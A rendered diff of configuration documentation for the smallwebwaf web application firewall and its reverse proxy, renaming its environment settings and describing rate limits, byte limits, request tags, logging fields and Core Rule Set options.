- `instance`: `SWW_INSTANCE_NAME`. - `instance`: `SWW_WAF_INSTANCE_NAME`.
- `client_ip`: the visitor's address, as `rproxy` worked it out. - `client_ip`: the visitor's address, as `rproxy` worked it out.
- `method`, `path` and `query`: the visitor's request. - `method`, `path` and `query`: the visitor's request.
- `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of - `scheme`: how the visitor reached `rproxy` or the trusted proxy in front of
@@ -80,8 +80,8 @@ Every one of these lines has:
- GeoJS had not answered by the time `waf` answered. - GeoJS had not answered by the time `waf` answered.
- `content_type`: the visitor's `Content-Type`. - `content_type`: the visitor's `Content-Type`.
- `content_length`: the body length the visitor announced. - `content_length`: the body length the visitor announced.
- `request_headers`: the headers listed in `SWW_LOG_REQUEST_HEADERS`, by name in - `request_headers`: the headers listed in `SWW_WAF_LOG_REQUEST_HEADERS`, by
lower case. name in lower case.
- `has_authorization` and `has_cookie`: true when the request had those headers. - `has_authorization` and `has_cookie`: true when the request had those headers.
Their values are never logged. Their values are never logged.
@@ -94,8 +94,8 @@ Every one of these lines has:
- `action`: what was done: - `action`: what was done:
- `forward`: answered `allow`, so that `rproxy` passes it to the app; - `forward`: answered `allow`, so that `rproxy` passes it to the app;
- `client_denied`: refused for `SWW_DENY_NETS`, for a reputation source with - `client_denied`: refused for `SWW_WAF_DENY_NETS`, for a reputation source
the action `deny`, or for a tag in `SWW_TAG_DENY`; with the action `deny`, or for a tag in `SWW_WAF_TAG_DENY`;
- `temporarily_banned`: refused under a ban that runs out, or for a `ban` - `temporarily_banned`: refused under a ban that runs out, or for a `ban`
rule, a trap path or a CrowdSec decision that made such a ban; rule, a trap path or a CrowdSec decision that made such a ban;
- `permanently_banned`: refused under a ban that never runs out, including a - `permanently_banned`: refused under a ban that never runs out, including a
@@ -112,21 +112,23 @@ Every one of these lines has:
is left out when none did. is left out when none did.
- `heuristic_figures`: an object of the figures that heuristic acted on. Each - `heuristic_figures`: an object of the figures that heuristic acted on. Each
heuristic and its figures: heuristic and its figures:
- `deny_nets`: `netblock`, the entry of `SWW_DENY_NETS` the client is in; - `deny_nets`: `netblock`, the entry of `SWW_WAF_DENY_NETS` the client is
in;
- `active_ban`: `netblock`, the ban's netblock, and `ban_expires`; - `active_ban`: `netblock`, the ban's netblock, and `ban_expires`;
- `countries`: `country`, and `setting`, the country list that refused it; - `countries`: `country`, and `setting`, the country list that refused it;
- `tag_deny`: `tag`, the tag of `SWW_TAG_DENY` the request carries; - `tag_deny`: `tag`, the tag of `SWW_WAF_TAG_DENY` the request carries;
- `blocklists`: `lists`, the blocklist URLs that list the client; - `blocklists`: `lists`, the blocklist URLs that list the client;
- `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the - `crowdsec`: `scenario`, the decision's scenario, and `expires`, when the
decision ends; decision ends;
- `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys - `dnsbl`: `zones`, the DNS blocklist zones that list the client, their keys
masked; masked;
- `abuseipdb`: `score`, and `min_score`, `SWW_ABUSEIPDB_MIN_SCORE`; - `abuseipdb`: `score`, and `min_score`, `SWW_WAF_ABUSEIPDB_MIN_SCORE`;
- `rate_limits`: `window`, `count` and `limit`; - `rate_limits`: `window`, `count` and `limit`;
- `trap_paths`: `path`, the trap path asked for; - `trap_paths`: `path`, the trap path asked for;
- `rule_files`: `rule_id` and `rule_action`, of the rule that refused it; - `rule_files`: `rule_id` and `rule_action`, of the rule that refused it;
- `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`; - `header_limits`: `fields`, `fields_limit`, `cookies` and `cookies_limit`;
- `core_rule_set`: `score`, and `threshold`, `SWW_WAF_ANOMALY_THRESHOLD`; - `core_rule_set`: `score`, and `threshold`,
`SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD`;
- `refusal_limit`: `window`, `count` and `limit`, of the error burst; - `refusal_limit`: `window`, `count` and `limit`, of the error burst;
- `byte_limits`: `window`, `count` and `limit`, the count in bytes. - `byte_limits`: `window`, `count` and `limit`, the count in bytes.
- `after_answer_heuristic`: the heuristic that banned the client after `waf` - `after_answer_heuristic`: the heuristic that banned the client after `waf`
@@ -146,7 +148,7 @@ Every one of these lines has:
holds: holds:
- `minute`, `hour` and `day`: requests; - `minute`, `hour` and `day`: requests;
- `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes - `minute_bytes`, `hour_bytes` and `day_bytes`: the body bytes
`SWW_BYTES_COUNT` names, in that window. `SWW_WAF_BYTES_COUNT` names, in that window.
A count can have a fraction (see "Counting method" in A count can have a fraction (see "Counting method" in
[`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its [`SPEC.md`](../SPEC.md)). The bytes counted for an allowed request and its
@@ -156,7 +158,7 @@ Every one of these lines has:
- `limit_hit`: the limit broken: - `limit_hit`: the limit broken:
- `minute`, `hour` or `day` for a rate limit; - `minute`, `hour` or `day` for a rate limit;
- `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit; - `minute_bytes`, `hour_bytes` or `day_bytes` for a byte limit;
- `minute_refusals` for the error burst (`SWW_ERROR_BURST_THRESHOLD`). - `minute_refusals` for the error burst (`SWW_WAF_ERROR_BURST_THRESHOLD`).
When the bytes counted for a request and its response break a limit, the When the bytes counted for a request and its response break a limit, the
request has been passed on whole, so its `action` stays `forward`. Only its request has been passed on whole, so its `action` stays `forward`. Only its
@@ -174,7 +176,7 @@ Every one of these lines has:
- `tags`: the request's tags, sorted, left out when it has none. Each tag and - `tags`: the request's tags, sorted, left out when it has none. Each tag and
where it comes from is under "Request tags" in [`SPEC.md`](../SPEC.md). where it comes from is under "Request tags" in [`SPEC.md`](../SPEC.md).
- `routewatch_tags_missing`: why the request got no tags from routewatch, - `routewatch_tags_missing`: why the request got no tags from routewatch,
present only while `SWW_ROUTEWATCH_URL` is set: present only while `SWW_WAF_ROUTEWATCH_URL` is set:
- `no_answer_yet`: routewatch has not answered about this client yet; - `no_answer_yet`: routewatch has not answered about this client yet;
- `request_failed`: a query to routewatch failed within the last minute, and - `request_failed`: a query to routewatch failed within the last minute, and
the process log says why; the process log says why;
@@ -231,13 +233,13 @@ meanings where they differ:
was sooner. It includes the wait for `waf`. was sooner. It includes the wait for `waf`.
- `duration_response_ms`: milliseconds from then until the end of the answer. - `duration_response_ms`: milliseconds from then until the end of the answer.
- `disposition`: what was done with the request: `allow`, `deny` or `close`. It - `disposition`: what was done with the request: `allow`, `deny` or `close`. It
is `waf`'s answer, or the value of `SWRP_DEFAULT_DISPOSITION`. It is left out is `waf`'s answer, or the value of `SWW_RPROXY_DEFAULT_DISPOSITION`. It is
when: left out when:
- `waf` was not asked, as for the health check; - `waf` was not asked, as for the health check;
- the visitor went away while `waf` was being asked; - the visitor went away while `waf` was being asked;
- `waf`'s answer had no valid `X-Sww-Disposition`; - `waf`'s answer had no valid `X-Sww-Disposition`;
- `rproxy` could not pass on `waf`'s answer, and answered `502`. - `rproxy` could not pass on `waf`'s answer, and answered `502`.
- `default_disposition`: `true` when `SWRP_DEFAULT_DISPOSITION` gave - `default_disposition`: `true` when `SWW_RPROXY_DEFAULT_DISPOSITION` gave
`disposition`, and otherwise left out. `disposition`, and otherwise left out.
For example: For example:
+252 -244
View File
@@ -4,9 +4,9 @@ Every setting, its default and the values it takes, in the groups of "Settings"
in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings in [`SPEC.md`](../SPEC.md). That section gives the conventions, the settings
that take `off`, the `_FILE` form, and what each group does and why. that take `off`, the `_FILE` form, and what each group does and why.
The settings that start with `SWW_` are `waf`'s. Those that start with `SWRP_` The settings that start with `SWW_WAF_` are `waf`'s. Those that start with
are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND` chooses between `SWW_RPROXY_` are `rproxy`'s, and are under "`rproxy`" below. `SWW_COMMAND`
the two (see "The image's command" below). chooses between the two (see "The image's command" below).
## Forms of values ## Forms of values
@@ -28,98 +28,100 @@ the two (see "The image's command" below).
## Core ## Core
- `SWW_LISTEN_ADDR` (default `:8080`): where `waf` listens: `:` and a port, such - `SWW_WAF_LISTEN_ADDR` (default `:8080`): where `waf` listens: `:` and a port,
as `:9000`. Leave the host out (see "Ports" in [`SPEC.md`](../SPEC.md)). such as `:9000`. Leave the host out (see "Ports" in [`SPEC.md`](../SPEC.md)).
- `SWW_INSTANCE_NAME` (default: the container's host name): the `instance` name - `SWW_WAF_INSTANCE_NAME` (default: the container's host name): the `instance`
in each line `waf` logs, and in each alert and metric, such as `fsn1/waf`. name in each line `waf` logs, and in each alert and metric, such as
Valid UTF-8. No control character while `SWW_ALERT_NTFY_URL` is set. 1 to 48 `fsn1/waf`. Valid UTF-8. No control character while `SWW_WAF_ALERT_NTFY_URL`
printable ASCII characters without a space while `SWW_LOG_REMOTE_URL` is set is set. 1 to 48 printable ASCII characters without a space while
and `SWW_LOG_REMOTE_APP_NAME` is not. `SWW_WAF_LOG_REMOTE_URL` is set and `SWW_WAF_LOG_REMOTE_APP_NAME` is not.
- `SWW_MODE` (default `enforce`): `enforce` or `observe`. - `SWW_WAF_MODE` (default `enforce`): `enforce` or `observe`.
- `SWW_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6 client's - `SWW_WAF_IPV6_GROUP_PREFIX` (default `64`): the prefix length of an IPv6
group, from 32 to 128. client's group, from 32 to 128.
- `SWW_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a whole - `SWW_WAF_MAX_TRACKED_CLIENTS` (default `20000`): the most clients kept, a
number above zero. whole number above zero.
- `SWW_MAX_BANS` (default `5000`): how many of its own bans `waf` keeps, a whole - `SWW_WAF_MAX_BANS` (default `5000`): how many of its own bans `waf` keeps, a
number above zero. whole number above zero.
## Tokens ## Tokens
- `SWW_ADMIN_TOKEN` (default unset): the token for the ban endpoints and - `SWW_WAF_ADMIN_TOKEN` (default unset): the token for the ban endpoints and
`/_sww/clients/<ip>`. At least 32 characters. `/_sww/clients/<ip>`. At least 32 characters.
- `SWW_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At least - `SWW_WAF_METRICS_TOKEN` (default unset): the token for `/_sww/metrics`. At
32 characters. least 32 characters.
## State and cache files ## State and cache files
- `SWW_STATE_DIR` (default `/var/lib/sww`): the directory of the state files, an - `SWW_WAF_STATE_DIR` (default `/var/lib/sww`): the directory of the state
absolute path that can be written. The image's `run` script makes it. files, an absolute path that can be written. The image's `run` script makes
- `SWW_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be it.
- `SWW_WAF_STATE_WRITE_DELAY` (default `10s`): how long `bans.json` waits to be
written after a ban is made, lifted or made permanent. A duration. written after a ban is made, lifted or made permanent. A duration.
- `SWW_STATE_COUNTER_INTERVAL` (default `15m`): how often every state and cache - `SWW_WAF_STATE_COUNTER_INTERVAL` (default `15m`): how often every state and
file is written. A duration. cache file is written. A duration.
- `SWW_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache files, - `SWW_WAF_CACHE_DIR` (default `/var/cache/sww`): the directory of the cache
an absolute path that can be written. The image's `run` script makes it. files, an absolute path that can be written. The image's `run` script makes
it.
## Logging ## Logging
- `SWW_LOG_LEVEL` (default `info`): the least severe of `waf`'s own messages - `SWW_WAF_LOG_LEVEL` (default `info`): the least severe of `waf`'s own messages
that are written: `debug`, `info`, `warn` or `error`. that are written: `debug`, `info`, `warn` or `error`.
- `SWW_LOG_REQUEST_HEADERS` (default - `SWW_WAF_LOG_REQUEST_HEADERS` (default
`accept,accept-language,accept-encoding,content-type,origin,range`): the `accept,accept-language,accept-encoding,content-type,origin,range`): the
request headers recorded in the log line, in either case. `Host` and request headers recorded in the log line, in either case. `Host` and
`Transfer-Encoding` are refused; the host is the field `host`. `Transfer-Encoding` are refused; the host is the field `host`.
- `SWW_LOG_REMOTE_URL` (default unset): a syslog server that also gets every - `SWW_WAF_LOG_REMOTE_URL` (default unset): a syslog server that also gets every
line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`, line written to stdout: `syslog+udp://`, `syslog+tcp://` or `syslog+tls://`,
each with a host and a port and nothing more. each with a host and a port and nothing more.
- `SWW_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates that - `SWW_WAF_LOG_REMOTE_TLS_CA_FILE` (default unset): a file of PEM certificates
a `syslog+tls` server's certificate must chain to, instead of the host's own. that a `syslog+tls` server's certificate must chain to, instead of the host's
A file that cannot be read, or holds no certificate, is refused. own. A file that cannot be read, or holds no certificate, is refused.
- `SWW_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they wait - `SWW_WAF_LOG_REMOTE_BUFFER` (default `10000`): the most lines held while they
to be sent, a whole number above zero. wait to be sent, a whole number above zero.
- `SWW_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`, - `SWW_WAF_LOG_REMOTE_FACILITY` (default `local0`): the syslog facility: `kern`,
`user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`, `user`, `mail`, `daemon`, `auth`, `syslog`, `lpr`, `news`, `uucp`, `cron`,
`authpriv`, `ftp`, or `local0` to `local7`. `authpriv`, `ftp`, or `local0` to `local7`.
- `SWW_LOG_REMOTE_APP_NAME` (default: `SWW_INSTANCE_NAME`): the app name in each - `SWW_WAF_LOG_REMOTE_APP_NAME` (default: `SWW_WAF_INSTANCE_NAME`): the app name
syslog record, 1 to 48 printable ASCII characters without a space. in each syslog record, 1 to 48 printable ASCII characters without a space.
## Metrics ## Metrics
- `SWW_METRICS_TOP_N` (default `50`): how many AS numbers and how many countries - `SWW_WAF_METRICS_TOP_N` (default `50`): how many AS numbers and how many
get series of their own. A whole number above zero. countries get series of their own. A whole number above zero.
## Static lists ## Static lists
- `SWW_ALLOW_NETS` (default empty): netblocks you trust, such as your monitoring - `SWW_WAF_ALLOW_NETS` (default empty): netblocks you trust, such as your
(see step 4 in [`SPEC.md`](../SPEC.md)). monitoring (see step 4 in [`SPEC.md`](../SPEC.md)).
- `SWW_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are - `SWW_WAF_RATE_LIMIT_EXEMPT_NETS` (default empty): netblocks whose clients are
exempt from rate limiting and the byte limits. exempt from rate limiting and the byte limits.
- `SWW_DENY_NETS` (default empty): netblocks whose clients are refused (see step - `SWW_WAF_DENY_NETS` (default empty): netblocks whose clients are refused (see
4 in [`SPEC.md`](../SPEC.md)). step 4 in [`SPEC.md`](../SPEC.md)).
## Request rate limits, per client ## Request rate limits, per client
The request past one of these limits is refused, and the client is banned. The request past one of these limits is refused, and the client is banned.
- `SWW_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests a - `SWW_WAF_RATE_LIMIT_PER_MINUTE` (default `120`, 2 a second): the most requests
client may make in a minute. A count or `off`. The default leaves room for a a client may make in a minute. A count or `off`. The default leaves room for a
person opening two pages at once with an empty cache, up to 60 files each. person opening two pages at once with an empty cache, up to 60 files each.
- `SWW_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may - `SWW_WAF_RATE_LIMIT_PER_HOUR` (default `1500`): the most requests a client may
make in an hour. A count or `off`. It is the main limit against scrapers. A make in an hour. A count or `off`. It is the main limit against scrapers. A
person reading a site for an hour, a page every 20 seconds, makes about 900. A person reading a site for an hour, a page every 20 seconds, makes about 900. A
scraper making one request every 2 seconds makes 1,800 an hour, more than the scraper making one request every 2 seconds makes 1,800 an hour, more than the
limit. limit.
- `SWW_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may make - `SWW_WAF_RATE_LIMIT_PER_DAY` (default `6000`): the most requests a client may
in a day. A count or `off`. The default is four hours at the hour limit. A make in a day. A count or `off`. The default is four hours at the hour limit.
scraper making one request every 10 seconds makes 8,640 a day, more than the A scraper making one request every 10 seconds makes 8,640 a day, more than the
limit. limit.
- A CI runner asks its code forge for work all day and can pass the limits. Put - A CI runner asks its code forge for work all day and can pass the limits. Put
the runners' addresses in `SWW_RATE_LIMIT_EXEMPT_NETS`. Do the same for a the runners' addresses in `SWW_WAF_RATE_LIMIT_EXEMPT_NETS`. Do the same for a
network where many people share one address, such as an office. network where many people share one address, such as an office.
- Counting cannot catch a client that stays under all three limits (see "Request - Counting cannot catch a client that stays under all three limits (see "Request
rate limits, per client" in [`SPEC.md`](../SPEC.md)). rate limits, per client" in [`SPEC.md`](../SPEC.md)).
- `SWW_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from rate - `SWW_WAF_RATE_LIMIT_EXEMPT_PATHS` (default empty): path prefixes exempt from
limiting and the byte limits, such as `/assets/`. rate limiting and the byte limits, such as `/assets/`.
## Byte limits, per client ## Byte limits, per client
@@ -129,236 +131,240 @@ counted for a request and its response are added to the client's total once the
response has ended. The request that takes a client's total past a limit is not response has ended. The request that takes a client's total past a limit is not
cut off; the client is banned. cut off; the client is banned.
- `SWW_BYTES_LIMIT_PER_MINUTE` (default `off`), `SWW_BYTES_LIMIT_PER_HOUR` - `SWW_WAF_BYTES_LIMIT_PER_MINUTE` (default `off`),
(default `50G`) and `SWW_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes `SWW_WAF_BYTES_LIMIT_PER_HOUR` (default `50G`) and
counted for a client in each window, a size or `off`. `SWW_BYTES_COUNT` says `SWW_WAF_BYTES_LIMIT_PER_DAY` (default `100G`): the most bytes counted for a
which bytes count: response bodies, request bodies or both. The request that client in each window, a size or `off`. `SWW_WAF_BYTES_COUNT` says which bytes
passes the limit is not cut off, and the client is banned when its response count: response bodies, request bodies or both. The request that passes the
ends. limit is not cut off, and the client is banned when its response ends.
- `SWW_BYTES_COUNT` (default `both`): what the byte limits and the byte anomaly - `SWW_WAF_BYTES_COUNT` (default `both`): what the byte limits and the byte
thresholds count: `response`, the app's response bodies; `request`, the anomaly thresholds count: `response`, the app's response bodies; `request`,
visitors' request bodies; or `both`. What the visitor sent over a WebSocket the visitors' request bodies; or `both`. What the visitor sent over a
counts as request bytes, and what the app sent as response bytes. WebSocket counts as request bytes, and what the app sent as response bytes.
## Lookup of AS number and country ## Lookup of AS number and country
- `SWW_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off` stops - `SWW_WAF_LOOKUP_SOURCE` (default `geojs`): `geojs`, `file` or `off`. `off`
the start while a setting that needs a lookup is set: stops the start while a setting that needs a lookup is set:
- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES`; - `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES`;
- `SWW_ADD_LOOKUP_HEADERS`; - `SWW_WAF_ADD_LOOKUP_HEADERS`;
- `SWW_TAG_DENY` or `SWW_TAG_LIMIT_PERCENT` naming a `country=` tag, or an - `SWW_WAF_TAG_DENY` or `SWW_WAF_TAG_LIMIT_PERCENT` naming a `country=` tag,
`asn=` tag while `SWW_ROUTEWATCH_URL` is unset; or an `asn=` tag while `SWW_WAF_ROUTEWATCH_URL` is unset;
- the two byte percentage lists and `SWW_ASN_LIMIT_PERCENT_URL`; - the two byte percentage lists and `SWW_WAF_ASN_LIMIT_PERCENT_URL`;
- `SWW_UNKNOWN_LIMIT_PERCENT` below `100`; - `SWW_WAF_UNKNOWN_LIMIT_PERCENT` below `100`;
- an anomaly threshold per AS number. - an anomaly threshold per AS number.
- `SWW_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in its - `SWW_WAF_LOOKUP_DB_PATH` (default empty): the IPinfo Lite database file, in
`.mmdb` form, for `SWW_LOOKUP_SOURCE=file`. its `.mmdb` form, for `SWW_WAF_LOOKUP_SOURCE=file`.
- `SWW_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its - `SWW_WAF_LOOKUP_TIMEOUT` (default `800ms`): how long a request waits for its
client's first answer from GeoJS, and how long a request to GeoJS may take. A client's first answer from GeoJS, and how long a request to GeoJS may take. A
duration; never `off`. duration; never `off`.
- `SWW_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the app - `SWW_WAF_ADD_LOOKUP_HEADERS` (default `false`): `true` has `rproxy` pass the
the client's AS number in `X-Client-ASN` and its country in app the client's AS number in `X-Client-ASN` and its country in
`X-Client-Country`. `X-Client-Country`.
## Country list ## Country list
- `SWW_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only - `SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES` (default empty): when set, the only
countries whose clients get through, such as `us,de`. A country whose countries whose clients get through, such as `us,de`. A country whose
`country=` tag is in `SWW_TAG_DENY` stops the start. `country=` tag is in `SWW_WAF_TAG_DENY` stops the start.
## Request tags ## Request tags
Every request gets tags from what `waf` knows of its client. See "Request tags" Every request gets tags from what `waf` knows of its client. See "Request tags"
in [`SPEC.md`](../SPEC.md). in [`SPEC.md`](../SPEC.md).
- `SWW_TAG_LISTS` (default empty): address lists that each add a tag, as - `SWW_WAF_TAG_LISTS` (default empty): address lists that each add a tag, as
`name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the `name=URL` pairs, such as `torexit=https://example.com/tor.txt`. A name is the
tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or tag, and may hold `=`, such as `vpn=mullvad`. Each list is an `http` or
`https` URL fetched like a blocklist. A name or URL listed twice is refused. `https` URL fetched like a blocklist. A name or URL listed twice is refused.
So is a URL that is also in `SWW_BLOCKLIST_URLS`, `SWW_ASN_LIMIT_PERCENT_URL`, So is a URL that is also in `SWW_WAF_BLOCKLIST_URLS`,
or the CrowdSec decision list. `SWW_WAF_ASN_LIMIT_PERCENT_URL`, or the CrowdSec decision list.
- `SWW_TAG_DENY` (default empty): tags whose requests are refused, such as - `SWW_WAF_TAG_DENY` (default empty): tags whose requests are refused, such as
`torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a `torexit,country=CN`. A tag listed twice, an `asn=` tag without a number, or a
`country=` tag without a country, is refused. `country=` tag without a country, is refused.
- `SWW_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's limits, as - `SWW_WAF_TAG_LIMIT_PERCENT` (default empty): tags that lower a client's
tag and percentage pairs, such as `vpn:50,asn=14061:25`. A percentage is from limits, as tag and percentage pairs, such as `vpn:50,asn=14061:25`. A
`1` to `99`, of every rate limit and byte limit. The lowest percentage among a percentage is from `1` to `99`, of every rate limit and byte limit. The lowest
client's tags applies. A tag listed twice is refused. So is percentage among a client's tags applies. A tag listed twice is refused. So is
`exploitsignature`: a request gets that tag after the rate limits have counted `exploitsignature`: a request gets that tag after the rate limits have counted
it. it.
- `SWW_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a - `SWW_WAF_ROUTEWATCH_URL` (default unset): the `http` or `https` URL of a
routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a routewatch instance. [routewatch](https://git.eeqj.de/sneak/routewatch) is a
service that gives an address's announced netblock and origin AS. `waf` asks service that gives an address's announced netblock and origin AS. `waf` asks
it about each client, in the background, and adds the tags `asn=<number>` and it about each client, in the background, and adds the tags `asn=<number>` and
`prefix=<netblock>` from its answer. While it is unset, nothing asks `prefix=<netblock>` from its answer. While it is unset, nothing asks
routewatch and no request gets a `prefix=` tag. routewatch and no request gets a `prefix=` tag.
`SWW_TAG_DENY` and `SWW_TAG_LIMIT_PERCENT` accept tags in either case. A tag `SWW_WAF_TAG_DENY` and `SWW_WAF_TAG_LIMIT_PERCENT` accept tags in either case. A
that no request can get stops the start. A request can get only these: tag that no request can get stops the start. A request can get only these:
- a name in `SWW_TAG_LISTS`; - a name in `SWW_WAF_TAG_LISTS`;
- an `asn=` or `country=` tag; - an `asn=` or `country=` tag;
- a `prefix=` tag with a netblock, while `SWW_ROUTEWATCH_URL` is set. It matches - a `prefix=` tag with a netblock, while `SWW_WAF_ROUTEWATCH_URL` is set. It
only that exact announced netblock, such as `prefix=192.0.2.0/24`; matches only that exact announced netblock, such as `prefix=192.0.2.0/24`;
- a `dnsbl=` tag of a zone in `SWW_DNSBL_ZONES`, in lower case, with a key - a `dnsbl=` tag of a zone in `SWW_WAF_DNSBL_ZONES`, in lower case, with a key
masked as the `reputation` field shows it; masked as the `reputation` field shows it;
- `abuseipdb`, while `SWW_ABUSEIPDB_KEY` is set; - `abuseipdb`, while `SWW_WAF_ABUSEIPDB_KEY` is set;
- `exploitsignature`, in `SWW_TAG_DENY` only, while `SWW_RULES_ENABLED` is - `exploitsignature`, in `SWW_WAF_TAG_DENY` only, while `SWW_WAF_RULES_ENABLED`
`true`, or while neither `SWW_WAF_MODE` nor `SWW_WAF_ANOMALY_THRESHOLD` is is `true`, or while neither `SWW_WAF_CORE_RULE_SET_MODE` nor
`off`. `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` is `off`.
`crowdsec` stops the start in both settings, because a CrowdSec decision refuses `crowdsec` stops the start in both settings, because a CrowdSec decision refuses
the request first. the request first.
## Biased thresholds ## Biased thresholds
- `SWW_ASN_BYTES_PERCENT` and `SWW_COUNTRY_BYTES_PERCENT` (default empty): a - `SWW_WAF_ASN_BYTES_PERCENT` and `SWW_WAF_COUNTRY_BYTES_PERCENT` (default
percentage of the byte limits alone, for the AS numbers or countries listed, empty): a percentage of the byte limits alone, for the AS numbers or countries
such as `AS14061:50` or `cn:25`. It takes the place of the percentage listed, such as `AS14061:50` or `cn:25`. It takes the place of the percentage
`SWW_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number or `SWW_WAF_TAG_LIMIT_PERCENT` gives their `asn=` or `country=` tag. An AS number
country listed twice is refused. or country listed twice is refused.
- `SWW_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client the - `SWW_WAF_UNKNOWN_LIMIT_PERCENT` (default `100`): the percentage for a client
lookup cannot place. the lookup cannot place.
- `SWW_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of a - `SWW_WAF_ASN_LIMIT_PERCENT_URL` (default unset): the `http` or `https` URL of
text file with one AS number and percentage on each line, such as a text file with one AS number and percentage on each line, such as
`AS64496:50`. Each entry counts like an `asn=` tag in `SWW_TAG_LIMIT_PERCENT`. `AS64496:50`. Each entry counts like an `asn=` tag in
A URL that is also in `SWW_BLOCKLIST_URLS` is refused. `SWW_WAF_TAG_LIMIT_PERCENT`. A URL that is also in `SWW_WAF_BLOCKLIST_URLS` is
refused.
## Attack detection ## Attack detection
- `SWW_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule files. - `SWW_WAF_RULES_DIR` (default `/etc/sww/rules.d`): the directory of the rule
- `SWW_RULES_ENABLED` (default `true`): `false` reads no rule file. files.
- `SWW_TRAP_PATHS` (default empty): paths only scanners ask for, such as - `SWW_WAF_RULES_ENABLED` (default `true`): `false` reads no rule file.
- `SWW_WAF_TRAP_PATHS` (default empty): paths only scanners ask for, such as
`/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`. `/wp-login.php,/xmlrpc.php`. Each starts with `/` and holds no `?`.
- `SWW_WAF_MODE` (default `block`): `off`, `detect` or `block`. - `SWW_WAF_CORE_RULE_SET_MODE` (default `block`): `off`, `detect` or `block`.
- `SWW_WAF_PARANOIA_LEVEL` (default `1`): the Core Rule Set's paranoia level, - `SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL` (default `1`): the Core Rule Set's
from 1 to 4. paranoia level, from 1 to 4.
- `SWW_WAF_ANOMALY_THRESHOLD` (default `5`): the score at which a request is a - `SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD` (default `5`): the score at which a
match. A whole number above zero, or `off`. request is a match. A whole number above zero, or `off`.
- `SWW_WAF_DISABLED_RULES` (default - `SWW_WAF_CORE_RULE_SET_DISABLED_RULES` (default
`920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules `920340,920420,920440,920640,930130,930140`): the ids of Core Rule Set rules
to switch off. Each a whole number above zero. An id from 900000 to 900999 is to switch off. Each a whole number above zero. An id from 900000 to 900999 is
refused: those are the rules that set the Core Rule Set up, and refused: those are the rules that set the Core Rule Set up, and
`smallwebwaf`'s own. `smallwebwaf`'s own.
- `SWW_WAF_EXEMPT_PATHS` (default empty): path prefixes the Core Rule Set does - `SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS` (default empty): path prefixes the Core
not inspect. Rule Set does not inspect.
- `SWW_WAF_BODY_LIMIT` (default `off`): `off`, or how much of a request body the - `SWW_WAF_CORE_RULE_SET_BODY_LIMIT` (default `off`): `off`, or how much of a
Core Rule Set reads, a size of at most `64K`. A question carries no more of a request body the Core Rule Set reads, a size of at most `64K`. A question
body than 64 KiB, and the Core Rule Set reads at most 64 KiB less one byte of carries no more of a body than 64 KiB, and the Core Rule Set reads at most 64
it, whatever the value (see "The answer" in [`SPEC.md`](../SPEC.md)). KiB less one byte of it, whatever the value (see "The answer" in
- `SWW_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule Set [`SPEC.md`](../SPEC.md)).
exclusions, written as Coraza directives. It is loaded before the Core Rule - `SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE` (default unset): a file of Core Rule
Set's rules, so it holds only `SecAction` and `SecRule` lines that exclude Set exclusions, written as Coraza directives. It is loaded before the Core
with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that cannot be Rule Set's rules, so it holds only `SecAction` and `SecRule` lines that
read or does not parse stops the start, whatever `SWW_WAF_MODE` is. So does a exclude with `ctl:ruleRemoveTargetById` or `ctl:ruleRemoveById`. A file that
file that names a number from 900000 to 900999 outside a comment, alone or in cannot be read or does not parse stops the start, whatever
a range. So does a directive that removes or changes rules as the file loads, `SWW_WAF_CORE_RULE_SET_MODE` is. So does a file that names a number from
such as `SecRuleRemoveById`, since none of the Core Rule Set's rules is loaded 900000 to 900999 outside a comment, alone or in a range. So does a directive
